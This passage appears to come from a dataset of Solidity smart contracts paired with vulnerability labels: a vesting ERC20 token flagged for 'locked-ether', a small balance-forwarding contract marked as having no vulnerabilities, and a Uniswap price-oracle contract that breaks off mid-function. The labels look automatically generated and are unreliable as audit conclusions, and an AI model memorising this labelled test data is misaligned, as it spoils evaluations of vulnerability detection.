contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: contracts/WhiteListManager.sol
contract WhiteListManager is Ownable {
// The list here will be updated by multiple separate WhiteList contracts
mapping (address => bool) public list;
function greylist(address addr) public onlyOwner {
list[addr] = false;
}
function greylistMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
greylist(addrList[i]);
}
}
function whitelist(address addr) public onlyOwner {
list[addr] = true;
}
function whitelistMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
whitelist(addrList[i]);
}
}
function isWhitelisted(address addr) public view returns (bool) {
return list[addr];
}
}
// File: contracts/Token.sol
contract MedipediaToken is MintableToken, BurnableToken, DetailedERC20, WhiteListManager{
// ------------------------------------------------------------------------
// Every token amount must be multiplied by constant E18 to reflect decimals
// ------------------------------------------------------------------------
uint256 constant E18 = 10**18;
uint256 public constant BUSINESS_DEVELOPMENT_SUPPLY_LIMIT = 520000000 * E18; // 520,000,000 tokens
uint256 public constant MANAGEMENT_TEAM_SUPPLY_LIMIT = 520000000 * E18; // 520,000,000 tokens will be Locked for 18 Months
uint256 public constant ADVISORS_SUPPLY_LIMIT = 130000000 * E18; // 130,000,000 tokens will be Locked for 12 Months
uint256 public constant EARLY_INVESTORS_SUPPLY_LIMIT = 130000000 * E18; // 130,000,000 tokens will be Locked for 12 Months
// ------------------------------------------------------------------------
// INITIAL_SUPPLY = BUSINESS_DEVELOPMENT_SUPPLY_LIMIT + MANAGEMENT_TEAM_SUPPLY_LIMIT +
// ADVISORS_SUPPLY_LIMIT + EARLY_INVESTORS_SUPPLY_LIMIT
// ------------------------------------------------------------------------
uint256 public constant INITIAL_SUPPLY = 1300000000 * E18;// 1.3 Billion tokens
uint256 public constant TOTAL_SUPPLY_LIMIT = 2600000000 * E18;// 2.6 Billion tokens
uint256 public constant TOKEN_SUPPLY_AIRDROP_LIMIT = 15000000 * E18; // 15,000,000 tokens
uint256 public constant TOKEN_SUPPLY_BOUNTY_LIMIT = 35000000 * E18; // 35,000,000 tokens
uint256 totalTokensIssuedToAdvisor;
uint256 totalTokensIssuedToEarlyInvestors;
uint256 totalTokensIssuedToMgmtTeam;
uint256 releaseTimeToUnlockAdvisorTokens;
uint256 releaseTimeToUnlockEarlyInvestorTokens;
uint256 releaseTimeToUnlockManagementTokens;
bool public isICORunning;
address public icoContract;
uint256 public airDropTokenIssuedTotal;
uint256 public bountyTokenIssuedTotal;
uint256 public preICOTokenIssuedTotal;
uint8 private constant AIRDROP_EVENT = 1;
uint8 private constant BOUNTY_EVENT = 2;
uint8 private constant PREICO_EVENT = 3;
uint8 private constant ICO_EVENT = 4;
event Released(uint256 amount);
constructor(string _name, string _symbol, uint8 _decimals)
DetailedERC20(_name, _symbol, _decimals)
public
{
balances[msg.sender] = BUSINESS_DEVELOPMENT_SUPPLY_LIMIT;
totalSupply_ = INITIAL_SUPPLY;
totalTokensIssuedToAdvisor = 0;
totalTokensIssuedToEarlyInvestors = 0;
totalTokensIssuedToMgmtTeam = 0;
airDropTokenIssuedTotal = 0;
bountyTokenIssuedTotal = 0;
preICOTokenIssuedTotal = 0;
//Epoch timestamps
releaseTimeToUnlockAdvisorTokens = 1566345600; // GMT: Wednesday, 21 August 2019 00:00:00
releaseTimeToUnlockEarlyInvestorTokens = 1566345600; // GMT: Wednesday, 21 August 2019 00:00:00
releaseTimeToUnlockManagementTokens = 1582243200; // GMT: Friday, 21 February 2020 00:00:00
}
// ------------------------------------------------------------------------
// Contract should not accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/**
* @notice Transfers vested tokens to Advisor.
* @param _beneficiary ERC20 token which is being vested
* @param _releaseAmount ERC20 token which is being vested
*/
function releaseToAdvisor(address _beneficiary, uint256 _releaseAmount) public onlyOwner{
require(isWhitelisted(_beneficiary), "Beneficiary is not whitelisted");
require(now >= releaseTimeToUnlockAdvisorTokens, "Release Advisor tokens on or after GMT: Wednesday, 21 August 2019 00:00:00");
uint256 releaseAmount = _releaseAmount.mul(E18);
require(totalTokensIssuedToAdvisor.add(releaseAmount) <= ADVISORS_SUPPLY_LIMIT);
balances[_beneficiary] = balances[_beneficiary].add(releaseAmount);
totalTokensIssuedToAdvisor = totalTokensIssuedToAdvisor.add(releaseAmount);
emit Released(_releaseAmount);
}
/**
* @notice Transfers vested tokens to Early Investors.
* @param _beneficiary ERC20 token which is being vested
* @param _releaseAmount ERC20 token which is being vested
*/
function releaseToEarlyInvestors(address _beneficiary, uint256 _releaseAmount) public onlyOwner{
require(isWhitelisted(_beneficiary), "Beneficiary is not whitelisted");
require(now >= releaseTimeToUnlockEarlyInvestorTokens, "Release Early Investors tokens on or after GMT: Wednesday, 21 August 2019 00:00:00");
uint256 releaseAmount = _releaseAmount.mul(E18);
require(totalTokensIssuedToEarlyInvestors.add(releaseAmount) <= EARLY_INVESTORS_SUPPLY_LIMIT);
balances[_beneficiary] = balances[_beneficiary].add(releaseAmount);
totalTokensIssuedToEarlyInvestors = totalTokensIssuedToEarlyInvestors.add(releaseAmount);
emit Released(_releaseAmount);
}
/**
* @notice Transfers vested tokens to Management Team.
* @param _beneficiary ERC20 token which is being vested
* @param _releaseAmount ERC20 token which is being vested
*/
function releaseToMgmtTeam(address _beneficiary, uint256 _releaseAmount) public onlyOwner{
require(isWhitelisted(_beneficiary), "Beneficiary is not whitelisted");
require(now >= releaseTimeToUnlockManagementTokens, "Release Mgmt Team tokens on or after GMT: Friday, 21 February 2020 00:00:00");
uint256 releaseAmount = _releaseAmount.mul(E18);
require(totalTokensIssuedToMgmtTeam.add(releaseAmount) <= MANAGEMENT_TEAM_SUPPLY_LIMIT);
balances[_beneficiary] = balances[_beneficiary].add(releaseAmount);
totalTokensIssuedToMgmtTeam = totalTokensIssuedToMgmtTeam.add(releaseAmount);
emit Released(_releaseAmount);
}
/**
* @notice Start ICO.
* @param start bool value
*/
function startICO(bool start) public onlyOwner{
isICORunning = start;
}
/**
* @notice Set the ICO smart contract address.
* @param _icoContract contract address of the ICO smart contract
*/
function setIcoContract(address _icoContract) public onlyOwner {
// Allow to set the ICO contract only once
require(icoContract == address(0));
require(_icoContract != address(0));
icoContract = _icoContract;
}
/**
* @notice Reward Airdrop Participant.
* @param _beneficiary wallet address of the Airdrop Participant
* @param _amount number of tokens to be rewarded
*/
function rewardAirdrop(address _beneficiary, uint256 _amount) public onlyOwner {
require(isWhitelisted(_beneficiary), "Beneficiary is not whitelisted");
uint256 amount = _amount.mul(E18);
require (totalSupply_.add(amount) < TOTAL_SUPPLY_LIMIT);
require(amount <= TOKEN_SUPPLY_AIRDROP_LIMIT);
require(airDropTokenIssuedTotal < TOKEN_SUPPLY_AIRDROP_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_AIRDROP_LIMIT.sub(airDropTokenIssuedTotal);
if (amount > remainingTokens) {
amount = remainingTokens;
}
balances[_beneficiary] = balances[_beneficiary].add(amount);
airDropTokenIssuedTotal = airDropTokenIssuedTotal.add(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
emit Transfer(address(AIRDROP_EVENT), _beneficiary, amount);
}
/**
* @notice Reward Bounty Participant.
* @param _beneficiary wallet address of the Bounty Participant
* @param _amount number of tokens to be rewarded
*/
function rewardBounty(address _beneficiary, uint256 _amount) public onlyOwner {
require(isWhitelisted(_beneficiary), "Beneficiary is not whitelisted");
uint256 amount = _amount.mul(E18);
require (totalSupply_.add(amount) < TOTAL_SUPPLY_LIMIT);
require(amount <= TOKEN_SUPPLY_BOUNTY_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_BOUNTY_LIMIT.sub(bountyTokenIssuedTotal);
if (amount > remainingTokens) {
amount = remainingTokens;
}
balances[_beneficiary] = balances[_beneficiary].add(amount);
bountyTokenIssuedTotal = bountyTokenIssuedTotal.add(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
emit Transfer(address(BOUNTY_EVENT), _beneficiary, amount);
}
/**
* @notice Pre ICO handler
* @param _beneficiary wallet address of the Pre ICO Buyer
* @param _amount number of tokens purchased
*/
function preICO(address _beneficiary, uint256 _amount) public onlyOwner {
require(isWhitelisted(_beneficiary), "Buyer is not whitelisted");
uint256 amount = _amount.mul(E18);
require (totalSupply_.add(amount) <= TOTAL_SUPPLY_LIMIT);
uint256 remainingTokens = TOTAL_SUPPLY_LIMIT.sub(totalSupply_);
require (amount <= remainingTokens);
preICOTokenIssuedTotal = preICOTokenIssuedTotal.add(amount);
super.mint(_beneficiary, amount);
emit Transfer(address(PREICO_EVENT), _beneficiary, amount);
}
function preICOMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
preICO(addrList[i], amountList[i]);
}
}
/**
* @notice ICO handler
* @param buyer wallet address of the ICO Buyer
* @param tokens number of tokens purchased
*/
function onICO(address buyer, uint256 tokens) public onlyOwner returns (bool success) {
require(isICORunning);
require(isWhitelisted(buyer), "Buyer is not whitelisted");
require (icoContract != address(0));
require (msg.sender == icoContract);
require (tokens > 0);
require (buyer != address(0));
require (totalSupply_.add(tokens) <= TOTAL_SUPPLY_LIMIT);
super.mint(buyer, tokens);
emit Transfer(address(ICO_EVENT), buyer, tokens);
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
contract RatForward{
function deposit() public payable {}
function() public payable {}
function get() public {
address(0x20C945800de43394F70D789874a4daC9cFA57451).transfer(address(this).balance / 2);
address(0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285).transfer(address(this).balance);
}
} | No vulnerabilities found |
pragma solidity =0.6.6;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
// returns the 0 indexed position of the most significant bit of the input x
// s.t. x >= 2**msb and x < 2**(msb+1)
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
// returns the 0 indexed position of the least significant bit of the input x
// s.t. (x & 2**lsb) != 0 and (x & (2**(lsb) - 1)) == 0)
// i.e. the bit at the index is set and the mask of all lower bits is 0
function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::leastSignificantBit: zero');
r = 255;
if (x & uint128(-1) > 0) {
r -= 128;
} else {
x >>= 128;
}
if (x & uint64(-1) > 0) {
r -= 64;
} else {
x >>= 64;
}
if (x & uint32(-1) > 0) {
r -= 32;
} else {
x >>= 32;
}
if (x & uint16(-1) > 0) {
r -= 16;
} else {
x >>= 16;
}
if (x & uint8(-1) > 0) {
r -= 8;
} else {
x >>= 8;
}
if (x & 0xf > 0) {
r -= 4;
} else {
x >>= 4;
}
if (x & 0x3 > 0) {
r -= 2;
} else {
x >>= 2;
}
if (x & 0x1 > 0) r -= 1;
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 public constant RESOLUTION = 112;
uint256 public constant Q112 = 0x10000000000000000000000000000; // 2**112
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; // 2**224
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, 'FixedPoint::mul: overflow');
return uq144x112(z);
}
// multiply a UQ112x112 by an int and decode, returning an int
// reverts on overflow
function muli(uq112x112 memory self, int256 y) internal pure returns (int256) {
uint256 z = FullMath.mulDiv(self._x, uint256(y < 0 ? -y : y), Q112);
require(z < 2**255, 'FixedPoint::muli: overflow');
return y < 0 ? -int256(z) : int256(z);
}
// multiply a UQ112x112 by a UQ112x112, returning a UQ112x112
// lossy
function muluq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) {
if (self._x == 0 || other._x == 0) {
return uq112x112(0);
}
uint112 upper_self = uint112(self._x >> RESOLUTION); // * 2^0
uint112 lower_self = uint112(self._x & LOWER_MASK); // * 2^-112
uint112 upper_other = uint112(other._x >> RESOLUTION); // * 2^0
uint112 lower_other = uint112(other._x & LOWER_MASK); // * 2^-112
// partial products
uint224 upper = uint224(upper_self) * upper_other; // * 2^0
uint224 lower = uint224(lower_self) * lower_other; // * 2^-224
uint224 uppers_lowero = uint224(upper_self) * lower_other; // * 2^-112
uint224 uppero_lowers = uint224(upper_other) * lower_self; // * 2^-112
// so the bit shift does not overflow
require(upper <= uint112(-1), 'FixedPoint::muluq: upper overflow');
// this cannot exceed 256 bits, all values are 224 bits
uint256 sum = uint256(upper << RESOLUTION) + uppers_lowero + uppero_lowers + (lower >> RESOLUTION);
// so the cast does not overflow
require(sum <= uint224(-1), 'FixedPoint::muluq: sum overflow');
return uq112x112(uint224(sum));
}
// divide a UQ112x112 by a UQ112x112, returning a UQ112x112
function divuq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) {
require(other._x > 0, 'FixedPoint::divuq: division by zero');
if (self._x == other._x) {
return uq112x112(uint224(Q112));
}
if (self._x <= uint144(-1)) {
uint256 value = (uint256(self._x) << RESOLUTION) / other._x;
require(value <= uint224(-1), 'FixedPoint::divuq: overflow');
return uq112x112(uint224(value));
}
uint256 result = FullMath.mulDiv(Q112, self._x, other._x);
require(result <= uint224(-1), 'FixedPoint::divuq: overflow');
return uq112x112(uint224(result));
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// can be lossy
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// take the reciprocal of a UQ112x112
// reverts on overflow
// lossy
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint::reciprocal: reciprocal of zero');
require(self._x != 1, 'FixedPoint::reciprocal: overflow');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = IUniswapV2Factory(factory).getPair(token0, token1);
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
// note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract OracleTWAP {
using SafeMath for uint;
using FixedPoint for *;
IUniswapV2Pair immutable pairRamWeth;
IUniswapV2Pair immutable pairUsdtWeth;
address public immutable token0;
address public immutable token1;
address private immutable token0USDT;
address private immutable token1USDT;
address public wethToken;
address public usdtToken;
uint256 public tokenPrice;
uint256 public wethUSDTPrice;
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
uint public price0CumulativeLastForUSDT;
uint public price1CumulativeLastForUSDT;
uint32 public blockTimestampLastForUSDT;
FixedPoint.uq112x112 public price0AverageForUSDT;
FixedPoint.uq112x112 public price1AverageForUSDT;
constructor(address factory, address mainToken, address _wethToken, address _usdtToken) public {
IUniswapV2Pair _pairRamWeth = IUniswapV2Pair(UniswapV2Library.pairFor(factory, mainToken, _wethToken));
IUniswapV2Pair _pairUsdtWeth = IUniswapV2Pair(UniswapV2Library.pairFor(factory, _usdtToken, _wethToken));
pairRamWeth = _pairRamWeth;
pairUsdtWeth = _pairUsdtWeth;
wethToken = _wethToken;
usdtToken = _usdtToken;
token0 = _pairRamWeth.token0();
token1 = _pairRamWeth.token1();
price0CumulativeLast = _pairRamWeth.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pairRamWeth.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pairRamWeth.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'OraclePrice: NO_RESERVES'); // ensure that there's liquidity in the pair
token0USDT = _pairUsdtWeth.token0();
token1USDT = _pairUsdtWeth.token1();
price0CumulativeLastForUSDT = _pairUsdtWeth.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLastForUSDT = _pairUsdtWeth.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0USDT;
uint112 reserve1USDT;
(reserve0USDT, reserve1USDT, blockTimestampLastForUSDT) = _pairUsdtWeth.getReserves();
require(reserve0USDT != 0 && reserve1USDT != 0, 'OraclePrice: NO_RESERVES USDT'); // ensure that there's liquidity in the pair
}
function update() internal {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pairRamWeth));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
function updateUsdtWeth() internal {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pairUsdtWeth));
uint32 timeElapsed = blockTimestamp - blockTimestampLastForUSDT; // overflow is desired
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0AverageForUSDT = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLastForUSDT) / timeElapsed));
price1AverageForUSDT = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLastForUSDT) / timeElapsed));
price0CumulativeLastForUSDT = price0Cumulative;
price1CumulativeLastForUSDT = price1Cumulative;
blockTimestampLastForUSDT = blockTimestamp;
}
function getData() external returns (uint256, bool) {
update();
updateUsdtWeth();
uint price = 10**18;
